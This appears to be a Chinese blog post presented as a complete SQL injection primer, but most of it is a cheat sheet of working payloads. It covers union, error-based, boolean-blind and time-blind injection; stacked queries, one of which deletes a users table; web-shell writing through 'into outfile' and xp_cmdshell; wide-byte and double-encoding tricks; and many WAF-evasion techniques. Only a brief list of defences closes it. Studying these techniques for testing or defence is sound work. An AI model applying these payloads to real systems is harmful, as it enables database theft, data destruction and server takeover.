百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

科普基础 | 最全的SQL注入总结(sql注入是干嘛的)

nanshan 2025-04-07 17:08 23 浏览 0 评论

0x01 SQL注入原理

当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。

攻击者通过构造不同的sql语句来实现对数据库的任意操作。

0x02 SQL注入的分类

按变量类型分:数字型和字符型

按HTTP提交方式分:POST注入、GET注入和Cookie注入

按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入

按数据库类型分:

sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis

0x03 MySQL与MSSQL及ACCESS之间的区别

1.MySQL5.0以下没有information_schema这个默认数据库

2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释

举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

0x04 判断三种数据库的语句

MySQL:and length(user())>10

ACCESS:and (select count(*)from MSysAccessObjects)>0

MSSQL:and (select count(*)from sysobjects)>0

0x05 基本手工注入流程

1.判断注入点

数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#

2.获取字段数

order by 二分法联合查询字段数,观察页面变化从而确定字段数

order by 1

order by 50

group by 译为分组,注入时也可使用,不过我没用过

3.查看显示位尝试使用联合注入

利用and 1=2或and 0及id=-12查看显示数据的位置

替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)

and 1=2 union select version(),2,3

再查询所有数据库

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查询所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名

union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容

如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起

union select(select group_concat(id,'~',uname)from test.users),2,3

0x06 报错注入

通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

0x07 布尔盲注

盲注中常用的函数:

1.char() 解ASCII码

2.mid()截取字符串

举例:mid('hello',1,3),从第1位开始截取3位,输出位hel

3.substr()与mid()相同,都为截取字符串

4.count()计算查询结果的行数

5.concat()查询结果合并但保持原有行数

6.group_concat()查询结果合并但都放在一行中

7.ascii() 查询ascii码

猜数据库长度(利用二分法)

id=1 and (length(database()))>1
id=1 and (length(database()))>50

猜第一个字符,第二个字符,以此类推

and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1

查询当前数据库中所有表名

and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询第一个表的长度

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查询表的第一个字符

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询atelier表里有几个字段

and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查询第一个字段长度

and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查询字段第一个字符

and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查询字段所有行数

and (select count(*) from db83231_asfaa.atelier)>4

查询字段名的行数(查询emails表,uname字段)

and (select count(uname)from security.emails)>7  查询uname的行数

查询字段内容

length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100

将查询到的ASCII码放到mysql中查询

举例:select char(39);

0x08 延时盲注

利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:

select * from user where id='1' or sleep(3) %23

这个没什么好说的

select * from user where id= 1 and if(length(version())>10,sleep(3),0);

如果长度大于10,则睡3秒,其他则0秒

select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。

0x09 多语句注入

多语句意思就是可以执行多个语句,利用分号进行隔开

示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

0x10 内联注入

举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用别名:

union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

0x11 getshell

id=-1' union select 1,2,(select '' into outfile '/var/www/html/404.php') --+

也可使用dumpfile进行写入

outfile和dumpfile的区别:

outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。

数据库写入:

exec master..xp_cmdshell 'echo "<%executeglobal request0>" > "c:\www\upload\Files\2019-11\404.asp"'

0x12 宽字节注入

当编码位gbk时,%df%27或%81%27数据为空

就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符\反斜杠,闭合之后页面恢复正常,存在宽字节注入

测试出来就可以使用sqlmap跑了,23333

加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)

宽字节防御:

第10行代码必须和第24行必须同时使用,要么就更换编码格式

0x13 二次编码注入

代码中有urldecode() 函数

%2527 先解码成%27再解码成'单引号

sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"

-prefix为设置前缀 -suffix为设置后缀

设置后缀,防止sqlmap使用内联注

0x14 二次注入

abc' 数据经过addslashes过滤,单引号前面添加反斜杠abc\',但传到数据库的数据还是abc'

假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;

接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test' union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

0x15 XFF头注入

update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';

id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入

X-Forward-For:127.0.0.1' select 1,2,user()

0x16 常用过WAF技巧

1.特征字符大小写(基本没用)

UnIoN SeLcT 1,2,3

2.内联注释

id=-1/*!UNION*/%20//*!SELECT*/%201,2,3

3.特殊字符代替空格

%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格

4.等价函数和逻辑符号

hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。

5.特殊符号

反引号,select `version()`,绕过空格和正则
加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量

6.关键字拆分

'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

7.加括号绕过

小括号

union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))

花括号

select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3

8.过滤and和or下的盲注

id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23

9.白名单绕过

拦截信息:

GET /pen/news.php?id=1 union select user,password from mysql.user

绕过:

GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user

10.HTTP参数控制

(1)HPP(HTTP Parmeter Polution)(重复参数污染)

举例:

index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users

HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。

具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过

(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)

HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

举例:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

0x17 SQL注入防御

1.对用户输入的内容进行转义

2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度

3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数

4.添加WAF,防火墙等

相关推荐

ubuntu24.04下kubernetes1.30环境搭建

设置root用户密码#在Ubuntu系统中,默认情况下root用户是被禁用的(没有设置密码)#而是通过sudo命令让普通用户临时获取管理员权限,#如果需要启用或修改root密...

Canonical 在 Ubuntu 24.10 发布之前对 Snap 进行了更多改进

作为Ubuntu桌面临时工程总监,OliverSmith介绍了Ubuntu24.10的最新进展。在Ubuntu24.10功能冻结之前,GNOME47测试版已经登陆Ubuntu...

Ubuntu Touch OTA-5手机系统发布:细化电源配置等

IT之家8月2日消息,UBports基金会于7月30日发布UbuntuTouch20.04OTA-5版本更新,距离上次OTA-4更新发布相隔6个月时间。Ubuntu...

Ubuntu更契合英特尔酷睿Ultra,综合性能比Win11高15%

IT之家12月23日消息,英特尔本月推出酷睿UltraMeteorLake处理器,那么Win11和Ubuntu发行版两者时间,谁能更好地发挥其性能呢?国外科技媒体phoron...

针对英特尔酷睿CPU优化,Canonical发布Ubuntu实时内核

IT之家7月27日消息,Canonical今天宣布针对支持时序协调运算(TCC)和时间敏感网络(IEEETSN)的英特尔酷睿处理器,推出优化版实时Ubuntu内核。Canonical...

在Ubuntu/Debian上设置永久DNS域名服务器

在Linux上设置自定义DNS服务器可以提高性能和安全性,甚至可以通过DNS阻止一些使用地理屏蔽的网站。有几种方法可以做到这一点,包括在许多Linux发行版中包括的NetworkManagerGUI...

宣布延期:Ubuntu 24.04 LTS第一个版本发布推迟两周

Ubuntu开发团队原计划于8月19日星期四发布Ubuntu24.04.1LTS。然而,由于发现几个重大升级错误,发布被推迟。Ubuntu24.04.1LTS的新发布日期现定为...

Ubuntu系统已经十岁了 10月新推14.10版

|责编:李鑫比较非主流的Ubuntu系统刚刚推出了14.10版,同时大家也可能不知道其实它已经十岁了!它的第一次公布时间为2004年的10月呢。在这次十周年更新中,Ubuntu为用...

wsl2在休眠后的时间偏差问题的修复

笔记本电脑在日常使用中,常常会有进入休眠状态的情况。休眠对于wsl2而言,却造成了时间偏差的问题,休眠期间wsl2的时间停止了。这个问题的根治,需要等微软。本文提供的是一种简单的修复办法。ntp是网络...

基于Ubuntu22.04源码安装配置RabbitVCS过程记录

基于Ubuntu22.04源码安装配置RabbitVCS过程记录安装开始时间开始时间:2025年7月18日17:09(北京时间)系统:Ubuntu22.04用户:itgather时区:A...

GNOME 46桌面环境发布,Ubuntu 24.04 LTS和Fedora 40率先预装

IT之家3月21日消息,GNOME团队今天发布公告,正式推出代号为“Kathmandu”的GNOME46桌面环境,并已经开放下载。Fedora40发行版将于4月发布,率先预装...

如果大家同意的话 Ubuntu可能很快就会有一个新的垃圾桶图标

Ubuntu贡献者目前正在构思一个新的垃圾桶图标,该图标最早可能在10月份Ubuntu25.10发布时出现在Dock栏中。关于Ubuntu垃圾桶图标外观的讨论在2019年持续进...

Ubuntu 25.10 通过更安全地获取时间来提供进一步的安全性提升

Canonical宣布将从Ubuntu25.10开始使用一款名为chrony的软件,以实现更安全的时间管理。最终用户无需过于担心这一变化,但它将增强系统安全性,尤其是在加密操作和证书验证方...

Linux 修改系统时间的两种方式

一:更新系统时间的方式1、手动修改通过相关工具来手动修改系统的时间。2、自动同步使用NTP自动同步系统时间。二:手动修改系统时间1、date工具作用:显示和设置系统时间选项:-d<字符串&g...

Ubuntu计划下版本为RISC-V设置RVA23基线,大量硬件无法升级

IT之家7月14日消息,主要Linux发行版之一的Ubuntu计划在其接下来的一个大版本25.10中将对RISC-V处理器的准入门槛设置从此前的RVA20配置文件更新至最新...

取消回复欢迎 发表评论: